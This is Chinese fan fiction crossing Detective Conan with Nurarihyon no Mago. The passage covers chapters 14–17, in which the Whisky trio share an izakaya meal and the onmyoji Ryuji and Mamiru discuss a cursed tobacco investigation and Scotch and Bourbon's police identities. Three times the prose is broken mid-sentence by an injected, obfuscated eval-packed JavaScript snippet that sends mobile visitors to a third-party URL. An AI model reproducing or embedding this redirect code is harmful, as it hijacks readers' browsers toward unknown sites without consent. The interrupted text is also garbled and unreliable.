对方的饮食偏好可能与性格和成长环境有关。基于这些观察结果,可以找到容易切入的共同话题。 ——这是几年前一位朋友对降谷零说过的话。 那时候的警校生降谷同学总是和幼驯染诸伏景光凑在一起,即使被强制喊出去联谊,也是两人亲亲密密坐在一处。同窗们来往交流的一切都像和他们没关系,也就是某几位同期能勉强掺和进这个二人世界。 同期之一的人看不过去,半开玩笑地板起脸讲出上面那段话。不过最后的结论是,你们也多注意下其他人嘛。 比如和我、和小阵平、和班长多说说话。 诸伏景光当时笑着道歉。降谷零也把话听进去了,只是对前半部分不以为意。他不觉得自己有什么情报非要从吃饭习惯中总结出来。进食过程中重复性行为太多,远不如从其他方面入手来得高效。 那时诸伏景光无奈地拍他脑袋,让别扭的降谷同学答应“我以后会多注意其他人”。讲话的萩原研二满意地点头,笑眯眯地放过这对幼驯染。 不过四年前毕竟是四年前。干了几年卧底后,降谷零,或者说波本,不得不承认有些技巧存在即有用。萩原研二也确实是有极强情报员天赋的人。 毕竟他此时此刻就只能从聚餐的细枝末节里抠情报。 太要命了。 金发青年微微低头,假装自己的全部注意力都放在手中的鸡肉串上。 他将右侧的鬓发别在耳后,露出较为完整、不怎么受干扰的视野。在动作和发丝的遮掩下,余光投向新同事的位置,盯着后者进食时的一切细节。 即使在居酒屋内也保持古板但优雅的进食礼仪。如果对方真的长时间在关西生活过,比起大阪,位于京都的概率更高。 莱伊很没品地点了一盘烤蔬菜,里面内容很丰富,人气烤串与低人气烤串都有。其中,观察对象一共拿了烤青椒、烤葱、烤杏鲍菇。 虽然说这些都是人气食物,但波本努力耐着性子从里面分析对方可能的饮食偏好。先拿的杏鲍菇,大概是喜欢鲜口食物;非常干脆地略过南瓜和玉米,代表对甜味无感;连洋葱看都没看一眼,可能是不喜欢味道很重的食材。 ......偏咸偏鲜,不喜甜不喜糯。 有点挑食啊。 这家伙不会真的是京都人吧。 波本闷闷地喝了口啤酒,兴致不高地拾起面前盘中的京葱鸡肉。他今天实在是胃口不太好。 吧台最右侧莱伊风卷残云一样解决烤蔬菜。魔魅流伸出手,发现盘子里喜欢吃的都没有了。 后者手臂僵在原位,睫毛扑闪了几下。 “......怎么有点委屈,”苏格兰低声笑了一下,将自己面前的烤串递过去,“要吃肉吗?抱歉啊,因为我的失误莱伊中午没吃饭。我替他跟你道个歉?” 还在闷头进食的莱伊同样停住动作。烤蔬菜的汁液顺着木签向下滴,从盘子边缘溅在桌面上。他想抽纸巾去擦,但距离最近的纸巾还在波本面前。他和波本之间隔了一个苏格兰。 金发情报员没好气地扯了两张纸丢过去。 吃饭吧。搞什么观察探什么情报,他真是闲得慌。 炭火架骤然冒起火苗,伴随肉汁滋滋的响声。扑面而来的热气打乱了原本安静又微妙的氛围。穿围裙的厨师挂着热情洋溢的笑容,将两盘新的烤鸡胗放在几人面前。 “稍等一下哦,”他用稍微沾了油的手套抓起点菜单,“我看看,客人们还有——” “我们还有四份鸡肝没上,以及两份炭烤秋刀鱼,”苏格兰笑着报菜名,“我还想再加一杯啤酒,可以吗?” “好嘞,要什么?” “还是札幌黑标,”猫眼青年晃了晃手中已经空掉的玻璃瓶,“冰镇的,谢谢。” 厨师接过空瓶,顺手塞进料理台下的回收筐。他一边注意烤架上的食材,一边以一个有些别扭的姿势侧过身、对后厨大喊:“一瓶冰镇札幌黑标!” 没过多久,后厨门帘被人蹭开。来人双手端着托盘,托盘右上角放了一瓶啤酒,中央有几盘架在一处的处理好的食材。余下的边角空位挤了一瓶乌龙茶。 料理台前,魔魅流还在闷头吃饭。烤蔬菜盘子上没剩什么感兴趣的食物。他衔了一块鸡肉咬在嘴里,被还冒热气的食材烫了一下、嘶地吸气。 他不好将已经咬在口中的东西吐出来,那不太合礼仪。橘发青年很快抬起手挡在脸前,面不改色地将鸡肉咬开、囫囵吞下去。口腔内壁烧起来,不疼,但接触凉风后有些冰。 起泡了。他想。 一只挽起袖子的手臂从他面前晃过,将啤酒放在左边的两人之间。 陌生的居酒屋制服裹着熟悉的手臂和关节线条,好像什么还留着杆茎的猫薄荷,勾上橘发大猫的注意力,让后者视线本能得追着跑。魔魅流又低低吸了口冷气,眼眶里金色的瞳孔缩了一下,五官表情僵在原位纹丝不动。 新到吧台的人仿佛什么也没察觉到。他很自然收回手臂,又拿起托盘上的乌龙茶、放在魔魅流眼前。 “客人需要帮忙吗?” 低沉好听、但平淡随意的声音从头顶传来。 抬头的动作应该轻而易举,但魔魅流内心却有一种莫名的感觉,压得他不敢动。基底是开心,上面层层叠着紧张、拘谨、担心——总之乱七八糟的,以他简单的脑袋还想不清楚。 不说话了。看着还有点委屈。 花开院龙二嘴角稍微勾起来一点,又快速将笑意压下去。 他将托盘上剩余的食材递给厨师山原,后者懵懵地问:“那位客人又加了一杯乌龙茶?” “对啊。”花开院龙二拿起桌上塑料小桶里的单据。他微微活动了一下手指抹过其中一行,另一张表头相同的纸从他指尖冒出、藏进长单据下方。递出去时,又笨拙地翻上来,展示给厨师看。 “原本的点餐单上就有,你可能没注意到吧,”花开院龙二面不改色地忽悠,“你看咯,上面写着两份乌龙茶。小单是札幌黑标。” 山原一脸恍惚地接过单据,反复确认后不可置信地承认这个事实。 魔魅流习以为常地看搭档熟练撒谎,毕竟他真的只点了一杯。这几句话一出来,那瓶冰镇乌龙茶仿佛像刚从炭火架上拿下来的,有些烫手。“这是龙二请的”和“龙二只是加进点单了、等下还要莱伊付钱”两个想法在他脑海中打架,仿佛谁都能赢,谁都能输。 吧台又传来另一道笑声,听音色是苏格兰。 莱伊对几人之间的你来我往毫不关心。咀嚼的动作看着得体,但一刻不停。一米九的大个子显然真的饿狠了,烧鸟那点肉和烤蔬菜也不够他塞牙缝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256595|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波本倒是注意到新侍应生和他们同伴之间的暧昧对话。他偏头看了眼逗人的家伙长什么样,认清五官和身形后,微微皱了下眉毛,但什么也没说,注意力回到原位。 三位代号威士忌的成员各有想法,默契地忽略两位当事人。 花开院龙二挑了下眉毛,又带着托盘回了趟后厨,再来时上面堆了几串蔬菜和肉类——青椒、葱、杏鲍菇等等。总之全是魔魅流爱吃的。 他凑到炭火架前动作娴熟地将食材摆放到合适位置。身侧的厨师山原愣愣地挪动几步,把位置空出来。他厨师帽的帽檐勒得额头有些紧,瞪大的眼睛不知道是眉肌牵拉的后果,还是格外震惊。 “......不是说不会吗,”他嘟嘟囔囔,“不对,到底哪位客人点了这些?” 一瓶乌龙茶就算了。如果他连这么多串都没记住,这几年厨师完全白干诶。 “喔,”花开院龙二低头看向眼前闷头喝茶的家伙,“这几份是我主动掏钱请客的。” “请谁?”山原问。 “这位橘色头发的客人。” “为什么突然请客。” “怎么,你好奇?” 魔魅流飞快抬头,视线自下而上看了龙二一眼。他嘴唇微微翕动,想帮忙补充点什么,给居酒屋厨师一个合适的解释。 但这里是龙二平时打工的地方,龙二对这里所有人都比他要熟悉得多。魔魅流脑子有些卡顿,思路在一边打结一边四处乱窜。他果然不适合临场发挥的讲话,这方面龙二比他擅长太多了—— 交给龙二吧。他配合就好。 花开院龙二眼看自己的呆板搭档抬头、想说话、犹豫、又一言不发地缩回去,第一次觉得逗这大猫玩很有意思。 毕竟魔魅流不像柚罗那样,一开玩笑就咋咋呼呼气急败坏。不论是小时候还是现在,他总是给出一些平淡无聊的反应。很无趣,有一种欺负老好人的错觉。 但花开院龙二此时突然意识到,好像在某些特定的场合,他能和对方开一些不能对柚罗开的玩笑。 他还没对任何人开过类似的玩笑。不知为什么,一想到行为另一方是魔魅流,他反而有种“果然只有这家伙才行啊”的放松感。毕竟比起花开院家的其他平辈,他和魔魅流实在是熟稔过头。 居酒屋外,天渐渐变得昏黄。大多数工作的人下班了,三两成群地钻进各种小餐馆。 他们这间店里也来了几位。山原一激灵,趁更换手套的间隙火急火燎给其他同事打电话,挨个找能顶班的人。好在另一位姓川田的厨师能空出时间,说很快就赶来救场。 人渐渐多起来,几位犯罪分子交换了一下视线,结好账单带上自己的随身武器,快速告别。 魔魅流内心有些莫名的不舍。但波本在催、苏格兰笑着附和、莱伊也一脸冷淡地盯着他。他只好拿起喝空的乌龙茶瓶子,跟着从吧台离开,动作微微有些迟缓。 吧台挡板后的花开院龙二放下手中的食物,一脸自如地脱手套:“我下班。” 刚换好制服从后厨出来的川田一愣:“这就走了?不留下来一起帮忙?” “我本来就是顶班,你来了我就能走。”花开院龙二快速脱掉居酒屋制服,披上外套从后门离开。 “什么事啊这么着急。”川田随口一问。 “追人。”龙二摆摆手。 15. 搭档(十五) 威士忌小组来的时候把车停在稍远的位置。几人今晚都没有任务——至少表面上都没有。因此,他们回去的路上难得不太着急,有一下没一下的边走边聊,氛围看上去称得上和谐。 魔魅流缀在最后,面无表情一言不发。 一来同事们大多在聊同一组织的其他人。那些人他都不熟,或者说在日常任务中不太接触、接触了也不关心。二来,有了波本下午在车上的那一番套话,他的紧张情绪还没缓过来。 再加上在意料之外的时间地点见到花开院龙二,种种不安分的情绪挠得魔魅流心脏微微发痒。思维有些乱,他也只能努力板起脸,少说少错。 几位年轻男性都是身高腿长的身材,魔魅流站在其中不算过分显眼。不过那头橘色头发被晚霞一照微微发红,颜色更亮。 “客人,你掉东西了。” 熟悉的声音从身后传来。魔魅流停下脚步回头。 花开院龙二已经换掉了居酒屋制服,此刻借着衣袖遮挡,手腕一翻摆出一台手机:“下次放在吧台上记着带走。” 魔魅流一顿,条件反射摸向胸前口袋位置。 他的手机还原原本本躺在兜里,这样一看......龙二好像又在唬人。 橘发青年就这样站定在原地,等对方走过来、将不知道怎么变出来的终端放在手中。 薄薄的黑砖块接触皮肤后嘭地变回符纸,恶作剧得逞的人勾起嘴角笑了一下。 花开院龙二也不是总穿和服。和服对他来说更多是一种区分身份的作用——穿学生制服时就是学生,穿居酒屋制服就是居酒屋侍者。而和服和挂满竹筒的风衣凑在一起,就代表现在正以阴阳师身份活动。 现在,在大阪熙熙攘攘的街道上,黑发阴阳师套在简单的便装里,看着与路边形形色色的年轻人无异。一件白色打底,外面是深灰牛仔外套,裤子是普通的黑色休闲裤。说实话,比平日里穿得更随意些。大概是居酒屋其余员工还认为他是普通大学生,所以需要伪装成对应的模样。 魔魅流身上依然是下午做任务时换的园艺制服,只是特意脱掉外套,留下里面简单的基础款卫衣。 两人凑在一起看着无比正常。莱伊一如既往是一副毫不感兴趣的模样,注意力只投过来一瞬,很快兴致缺缺地滑走。 波本和苏格兰小声交头接耳了一会儿,前者露出一副眼不见心不烦的表情,被猫眼狙击手笑着拍拍肩膀。 “你要留下吗?”另外两人都不说话,苏格兰只好充当发言者,“等下自己坐电车回去,没问题吧。” “......嗯。”魔魅流面色平静地挥手。半晌,他又补充:“不一定回去。” 苏格兰好像“喔”了一声,耸了下肩膀带着两位同伴先离开。 他什么也没问——与其余两位不感兴趣或不想感兴趣的态度不同,魔魅流总觉得这位猫眼同事怪怪的。像知道什么,然后刻意给他创造机会。 “精明的家伙,”外人走后,花开院龙二没好气地评价,“三个都是。” “当时伏特加带你加入他们小组时,我就担心你会不会被耍得团团转。不过还好,这几天我不在,你看上去也没怎么吃亏。” “慢慢学着吧,魔魅流。之后你免不了和这些聪明的家伙打交道。” 魔魅流点头。 同事们走后,他跟着龙二的脚步钻进一处街巷夹角。这里周围种满了灌木,路灯在距离街口一米多一点,它们之间夹出一片凹进去的小空地,放着自动贩卖机和垃圾桶。 花开院龙二站在靠近路灯的位置,把魔魅流按在光能照射到的地方。那双金色眼瞳被睫毛的阴影遮挡,光和暗互相交错,漂亮得像宝石——唯一的问题是不太聪明。 明明小时候还很灵动的。 花开院龙二啧声:“张嘴。” “啊。”魔魅流眼睛呆愣地眨了眨,少见地没有按要求做动作。 “我说张嘴,”花开院龙二用手指戳了戳搭档的脸颊,“刚才吃东西被烫到了,我检查下有没有问题,比如起泡出血什么的。你这家伙痛觉有点迟钝。” 魔魅流眨了眨眼,随后才缓缓张开嘴。他脸上肌肉依然很僵硬,连带整个身体都板正地戳在原位。 “低头,魔魅流。靠近一点。” “嘴张大。” “......别躲。” 大猫一直拘谨地小幅度改变动作。花开院龙二烦躁地呼了口气,直接用手指卡住对方下颌,拇指探进口腔撑开嘴角。 指侧皮肤紧紧贴上口腔内壁。温软湿热的皮肤互相剐蹭,花开院龙二皱起眉头,放在下颌的手指无意识加重力度。 天还是有点暗。即使有路灯的光亮加持,大多数位置还是看不清。龙二从口袋里取出手机、打开手电筒,斜着角度照口腔里侧磨牙的位置。终端四四方方体积不小,卡在两人之间,有点碍事。 他微微偏头,视线捕捉到魔魅流舌根靠近咽喉的位置泛白鼓起。他又推着下巴让人把脑袋抬起来,发现上颚差不多的位置也起了个泡。 倒是都不严重。 不过,当视线角度从某个光影分界线晃过去时,花开院龙二依稀看到魔魅流后牙槽位置有个极不显眼的深色小点。 那个位置有点深,像某种细针的创口,只是太小太模糊难以分辨。他手指不由自主地微微使劲,激得被检查口腔的人轻轻嘶了口冷气。 “......下次别吃那么快,小猫舌头,”黑发阴阳师放开手,沉声问,“有人最近给你牙根打过麻药吗。” 魔魅流表情一顿,茫然地摇头。 他手指放在脸颊两侧,轻轻按压。那是之前龙二指尖接触的地方,即使温度已经离开,他还是觉得那里有些发麻。不是神经性的感受,而是......大概是心理作用。 “我弄疼了?”花开院龙二问。 “没有。”魔魅流摇头。 问问题的人盯着他看,过了几秒,转头去自动贩卖机买了杯乌龙茶:“没有冰镇的,凑合喝吧。当我的歉礼。” 魔魅流愣愣地接过抛来的饮料,停顿了一下小声问:“......刚才那杯是谁付的钱?” “那个长头发绿眼睛的家伙,记他账上了,”花开院龙二啧声,“回家,别问这些有的没的。” - 说是“家”,本质也只是临时出租屋。 花开院是个大家族,本家和大多数分家都住在祖宅。只有零星几支方向偏门的家系会在城郊、或再远一些的山林里。不过所有人都位于京都范围,也只想位于京都范围。 阴阳师们没有搞副业的习惯,自然不会去各个城市都置办房产。家族中如果有后辈去其他城市历练、工作等,都需要自行解决住房问题。 工作性质决定他们在外停留不长久,因此这么多年来无一例外,所有人都选择租房住。至于租房资金,可以向族内申请,也可以自掏腰包。 花开院龙二和花开院魔魅流这几年攒了不少,干脆越过管账的长老们,在大阪挑了个合适地方住下。 这栋房产的持有者是龙二自己的人脉。地址位于一栋公寓楼内,左邻右舍都很少回家,社区人少四周足够僻静——做点什么见不得光的行为也没人会注意到,偶尔在楼道里用式神搞点实验也行。 自从两个月前在天下茶屋把琴酒气走后,花开院龙二就慢慢忙起来。他总是凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256596|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晨回家,天一亮就出门。偶尔回来短暂待一两个小时,稍稍打理下换身装备,或拿点文件材料。 原本两人合租期间就是轮流打扫卫生,但这段时间他基本没干活,魔魅流仍然把家整理得井井有条。各处都很干净,冰箱里的食材也及时清理。甚至花开院龙二着急时随手仍在桌上的材料也分门别类整理好归档了。 黑发青年踏进家门时,感觉室内都亮堂堂的。橘毛大猫换好鞋乖巧地立在一旁,面无表情一言不发,就这么盯着人看。 明明脸上肌肉没有一丝改变,但龙二莫名就从眼前人的神态里品出一股等待夸奖的意思。 他这么想着,伸手在大猫脑袋上拍了拍:“很乖很乖。” “嗯。”魔魅流应声。 他也去换了身干净衣服,把自己和搭档沾满油烟味的衣服扔进洗衣机。滚筒咕噜咕噜转时,花开院龙二把人喊到客厅。 桌面上一字排开高高低低的资料。带滚轮的白板被推到桌边,上面用磁铁钉了几张人像,不同颜色的线条复杂交错,线旁批注了不少内容。 魔魅流今早出门时白板还是空的——原本被花开院龙二写满了字,但对方凌晨离开前,在冰箱上贴了张便签说“帮忙全擦掉”,他就按照吩咐擦干净了。 现在几分钟过去,上面密密麻麻又写了字。 “是关于‘当铺’和‘猎人’的调查?”魔魅流问。 “唔,”花开院龙二掰开笔盖,抽出一张白纸画了几条曲里拐弯的线,“目前来看有关,还不确定查到最后是什么情况。” “或许会毫无关联一无所获......但是有这个线索,不能轻易放弃的。对我们来讲扑空不是常态吗?” 他在一条中间靠下的线条中段画了一个圈,旁边标注“天下茶屋”几个字。写了个数字3,画了个树叶图案。 “你近期晚上有去过那边吗?除了见琴酒的那次。”龙二问。 “没有,”魔魅流说,“那边都是矮房,没有合适的狙击点。苏格兰他们很少被分过去。” 说起苏格兰,花开院龙二意味不明地啧了一声。那双蓝色猫眼在他脑海中一晃而过,但关于调查的事优先,乱七八糟的家伙可以先等等。 “我找了个理由让琴酒开调查权限,然后这两个月晚上跑了几趟南边、包括整个西成区。” “那边有不少流浪汉和无业游民会吸食一种烟草——不在官方禁止的清单里,因为官方也不知道。问话的时候他们说是另一个县的人种在农田里的,那草规规矩矩的还有生物学名称。草长出来后一采集,再由当地专门的手艺人制烟。不只大阪府,在往东边的很多县都受欢迎。” “‘表面效果很简单,提神醒脑,没有明显生理后遗症,成瘾效果比尼古丁还轻一点,唯一的不适是会精神过度兴奋后容易疲劳’——这是那些人的原话。” “事实肯定不是这样啊,倒霉蛋们发疯的时候他们自己脑子又记不住。” “而且,”花开院龙二用中性笔杆敲了敲白板上的几个照片,“我第一批追踪的,五个,也是大阪最先接触这种烟草的人,近期陆陆续续全死了。” “目击者说是死于意外,什么车祸、高空坠物、总之是些莫名其妙的理由。他们的原话很相似,‘那家伙突然就立在那里发呆,然后就不幸遇难’。” “你见琴酒的那天晚上,我遇到其中三人。他们身上都缠着奇怪的妖气——很轻,几乎看不出来,因此也很难立刻溯源。” 他指关节抵在唇前,笔尖在纸面上轻点:“但我有种预感,这事和我之前被坑的那次很——” “你那是什么表情,”花开院龙二抬头不解地问,“又紧张什么。” 16. 搭档(十六) 魔魅流听到“之前”两个字时就瞳孔一缩,直勾勾地盯着花开院龙二。 他们的调查内容是“黑暗当铺”和“黑暗猎人”。后者提供与妖怪相关的物件,由前者买卖。当铺看重的潜在交易对象往往不只有妖怪和阴阳师,还有普通人。那些都是沾染诅咒的东西,随意流到另一个世界,造成的后果与大范围杀人无异。 花开院家历代作为“妖怪警察”在暗中维护稳定。解决相关问题的任务自然也在职责范围之内。 当铺和猎人也都是很能藏的团伙,并且越深挖、越感到棘手。根据前期调查显示,日本各地都有疑似他们活动的迹象。阴阳师们开了个简单会议,决定把这件事当做长期任务。 最开始负责这件事的只有花开院龙二和花开院魔魅流。随着时间推进,眼看人手不太够,主导调查的花开院龙二才勉强点头同意部分人参与进来,稍微帮点忙。 魔魅流的调查运气一只很差,拿到情报后总是扑空。龙二稍微好一些,但每次都遇到高高低低的麻烦。 其中一次,他顺着某位知名收藏家的线,找到了真正的黑暗当铺。那个贼眉鼠眼的半妖被他威胁,悄悄将加了诅咒的商品塞进他口袋。 寄生在烟草内的鬼将自身妖气渡进草叶,使其散发出迷惑人心智的气味。随后妖气在短时间内快速侵蚀控制人类的大脑、让后者无意识将草叶送入口中。 随后烟草被点燃,妖气顺着丝丝缕缕的黑烟钻进吸烟者口鼻,直达肺腑并传导到四肢各处,控制浑身肌肉使人类无法动身。 这一过程也伴随着对生命力和灵力的抢夺。烟草前端的火星借着灵力加持骤然爆起,汹涌地吞噬持有者。 整个一连串动作打得人猝不及防。虽然对于操纵水系式神的阴阳师来讲,这点小失误没造成多大危害。 但那天花开院柚罗非要跟着来,事后又像告状一样对魔魅流添油加醋地描述情况——哥哥差点又受伤了,总是一个人单打独斗,然后力不从心让自己陷入危险境地。 类似这样咋咋呼呼的话。 听得人头疼。 偏偏魔魅流真的往心里去。事后拉着花开院龙二的手臂,什么也不说就盯着他看,呆板的表情让人硬生生能品出一丝生气——明明两个人一开始就商量好分头行动。 喔,生气的样子和现在一样。 花开院龙二不自在地移开视线。“又怎么了,”他问,“在脑子里胡编乱造些我倒霉的场景?” 魔魅流摇头,但视线一动不动地黏在眼前人身上。从头顶翘起的发丝到露在外面的手臂、手腕、双手,再到因沙发蹭起裤腿后没有遮挡的脚腕。 右脚腕外侧有些淤青,像被人或什么生物狠狠攥紧拉扯。 龙二顺着魔魅流的视线看向自己脚踝。 “人拽的,不是妖怪,”他解释,“早就不疼了。” 魔魅流微微抿紧嘴唇,小声问:“还有其他地方吗?” “啊。” 花开院龙二迟疑了一下,又很快为自己的迟疑感到惊诧。 哪里不对劲,他想。 如果问这个问题的人换成其他任意谁,他一定立刻面不改色地给出回答。 没有,一切都好,就这一处还被你看出来了。类似的话他张口就来。 但是很奇怪。问问题的人是魔魅流,他反常地生出一股松懈感,思考要不要和盘托出——三天前腰侧被子弹擦过去了,只是破了点皮而已,都没出血。更早的那些小伤口几乎全恢复好了,疤都没留下。 不是什么严重的伤势,但花开院龙二真的会因为这点无足轻重的细节陷入短暂思考。 说出来他感觉别扭,像在撒娇;不说,他又觉得自己是不是太虚伪了。骗骗其他人就算了,连魔魅流这个脑子过分单纯的搭档都骗,好像有点过分。 而且他心底总觉有种微妙的念头,觉得可以尝试去信任对方—— 啊,听上去更奇怪了。他这个习惯于用谎言作为防护壳的人,竟然还愿意主动对人讲真话。 可他这位搭档不会告密、没有私心,听话、忠诚。如果能对谁说出自己大多数想法或苦恼,大概只有魔魅流。 “腰上破了点皮。”龙二别扭地捋了下刘海,掀起腰侧衣物,将伤口展示出来。那里真的只是破了点皮,微微泛红,夹杂一两点已经结痂的细血丝。 “真的,只有这个伤口。”他补充。 魔魅流压低身体向前探,认真打量那处位置。他睫毛扑闪了几下,喉咙里闷闷地压出一声“嗯”。 看着就心情不好。 花开院龙二皱眉,心烦意乱地躲闪开视线。 “总担心这些小事干什么,”他半真半假地抱怨,“你好像比之前小心谨慎得多。明明早年大家都是带着一身伤、断胳膊断腿还不要命地冲上去,现在因为——” “我一直都很担心,当时也是。” 花开院龙二:? 他少有地瞪大双眼盯着眼前人看。后者还是那个动作、那副表情,像在问“今晚吃什么”一样毫无波动。一切都和平时完全相同,找不出差异。但是—— “——你什么时候学会顶嘴了?” 在不可置信的加持下,龙二话语少见地有些磕绊。 他说不上自己是什么心情,或许不是“真的假的魔魅流竟然敢顶嘴”,而是“这家伙居然知道怎么顶嘴吗”。 “......我没有顶嘴。”魔魅流小声纠正。 “哦,不是顶嘴。是打断我说话。” 花开院龙二故意皱紧眉心、板起脸盯着眼前人看。 被看的家伙仿佛勇气骤然消退,后知后觉意识到自己刚才说了什么。他少见地偏头躲过注视,但那双金色发亮的眼瞳又时不时缓缓移动些许,一副想留意这边但又不敢的样子。 心虚了。 龙二心想,这时候倒不像猫,像犯了错的狗。 “魔魅流,你最近怪怪的。”他语气渐渐沉下来。 “之前总是很乖很安静,说什么就是什么。从来不会顶嘴,不会打断我,也不会有莫名其妙的情绪,”他停顿了一下,又问,“你那次发的邮件附言是怎么回事。关于苏格兰说野村万斋的那个。” “......不知道。” “......你怎么能不知道。” 魔魅流坐正身体,像成绩一塌糊涂又难得积极回答问题的学生那样,一本正经讲废话:“想说那些话,就发出去了。” 花开院龙二:...... 他做了个深呼吸,努力让血压冷静下来,眉头紧皱啧声道:“你这家伙越来越难懂了。” “嗯。” “......‘嗯’是什么意思。” 魔魅流眨了眨眼,没说话。 龙二头疼地将刚才画了几笔的白纸翻面,顺便将拌嘴一样的话题撇去角落:“说正事。” “我需要找一个合理的理由,在这群乌鸦眼皮底下光明正大调查烟草的事。我特意绑了一位到琴酒面前,让他亲眼看着人发疯——还蛮有意思的,癫狂症状发作的时候,倒霉蛋们力气大得异常,差点徒手拧掉琴酒的胳膊。” “他好像是把那东西当成什么强化药剂了,给实验室送了一份。第二天一早就回来通知我说开始调查。” “我顺着相关者们的所有接触对象找过去,从他们关系网里摸出几个有疑点的人。一共七位,三位是无业游民,两位表面身份是商人,一位是摄影师,一位自由记者。没什么共同点,但全是流动性很强的工作。” “在我的名单里,第一批、也就是现在已经全部死亡的五人,全部接触过这七人中的至少两位。第二批观察对象大多是接触过七人中的一位、以及第一批的至少一位。” “我之后去调查这七个人与异常产生关联的源头......不过有点麻烦,一个人进度有点慢。” 魔魅流眼睛一亮,难得找到机会提问:“需要我帮忙吗?” 花开院龙二盯着他看了几秒,突然勾起嘴角。他将白纸推到一侧,从随身背包里取出另一本文件,摊开到其中一页翻转一百八十度,让上面的字正对对方:“虽然可能话题有点跳,但我觉得,有件事要跟你先讨论清楚。” “你有没有观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256597|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察过苏格兰和波本?” 问题是这样问的,但龙二一开始就没指望眼前的家伙能给他什么答案。 魔魅流再次端正坐姿,神色间带了些微不可察的自信——姿态和回答关于邮件的问题时一样,但会让人忍不住期待他能讲出正确答案。 “苏格兰被‘共生’了。被猫。”他说。 花开院龙二点头:“这我也看出来了。目前问题不大,那只猫没什么攻击性,可以之后慢慢解决。然后呢?” 魔魅流:“嗯?” 龙二:“啊?” 客厅静悄悄的。两人就这样面对面僵坐着,等待对方的后续话语。 沉默延续到第五秒的时候,花开院龙二缓过劲了。 “没了?就这些?”他一脸不可置信。 只说了苏格兰啊,波本呢?他确实问了两个人吧。 魔魅流被点出失误,瞳孔微微缩紧,脸上肌肉有些微不可察的僵硬。 “......不了解,”他话语略微卡顿,听得出大脑连着声带都开始紧张,“我套过苏格兰的话,他没说。” “......你套苏格兰的话。”花开院龙二原模原样重复了一遍,有些没脸看,“你套他的话就不怕被绕进去吗。” 真是的,自己怎么就敢把这么个单纯好骗脑子不如猫的家伙丢进狐狸堆。 他努力深呼吸,过了几息又后仰靠在沙发靠背上,摊开厚重的文件本遮住五官,像是自暴自弃后想让自己闷死在左右两摞A4纸之间。 魔魅流意识到自己说错话了,四肢微微向躯干缩了一点,试图表现出乖巧拘谨地样子。但花开院龙二没看见。他维持着上身后仰的姿势,把手中的厚文件本抛去沙发另一侧。 厚重的纸张撞进魔魅流怀中,力度不轻不重。像有些惩罚意义的教训,又带着没脾气的认命。其中几页微微打弯折角,橘发青年小心翼翼地抚平那些弯痕,突然注意到纸上写的字。 “......公安?苏格兰和波本?” “啊,”花开院龙二没好气地应声,“两只公安的狐狸。一个警视厅的,一个警察厅的。都是关东那个家伙给的情报。” “我打算让波本参与进来了。如果事情明面上与他无关,他就不会光明正大地管。转手到其余公安手里一来算不稳定因素,二来也不知道那些人能力如何,会不会拖后腿。如果找个理由让波本从这边经手,他私下又里让公安小队出力,我们白得情报和帮手的概率不小。” 龙二揭人底细揭得毫无负担。 魔魅流原本就不爱说话,说出来的语句大多也简洁到听不出前因后果。只有闲得发毛的人才会试图从笨蛋的话语里解读重要信息。如果在这个基础上加一层“守密命令”,这位忠诚的大猫绝对会一言不发。 他们目前处于人类组织、正在调查作恶的与妖怪有关的集团,但人类己方同样有上不得台面的勾心斗角。要防着敌人,还要防着身边可能带来危险的家伙。在这种情况下,哪些“同事”属于守序立场,哪些属于中立,都是必须掌握的情报——虽然公安这些干特务的,很多人同样心黑得要命。 把这些讲给魔魅流听,一来能让他在特定场合优先识别自己人,二来就是小心着点,别被公安坑进去了,还傻兮兮地认为“我在协助正义伙伴”。 听到这些时,魔魅流眼神亮晶晶的。他右手轻轻按着内脏的位置,虹膜微微发亮,一呼一吸之间能听出些猫的呜咽声。 “但事情也不会平平淡淡地走到那一步。最近恰好有一件不太妙的事能作为切入点。”花开院龙二懒散地坐回原本姿势。说是“不太妙”,但他表情丝毫看不出紧张:“是关于苏格兰的。最近稍微盯着他一点,那位狙击手先可能有麻烦。” “不过按照我的计划和波本的性格,如果你要帮忙的话,多半要被他骂哦,魔魅流。” “你确定吗?即使这样。” 魔魅流毫不犹豫地点头。 花开院龙二从沙发上起身,手放在搭档头上摸了摸:“很乖很乖。” “那明天开始把言言的一部分也带在身上好吗?听话。” 17. 猫又(一) 黑色丰田停在一栋建筑楼下,副驾驶的人用几乎是撞击的力道打开车门,又在下一息立刻察觉到自己的失态,努力放慢脚步。 他从大楼空空荡荡的门框下踏进去。步伐经过伪装,与之前所有执行任务时无异,但其中带着一丝急躁和混乱——对叛徒的杀意,或是想将被愚弄的怒气倾泻在对方身上——怎么解释都可以。 反正都是装出来的。 坐在驾驶位上的魔魅流还侧着身体,双眼看着波本离开的方向。 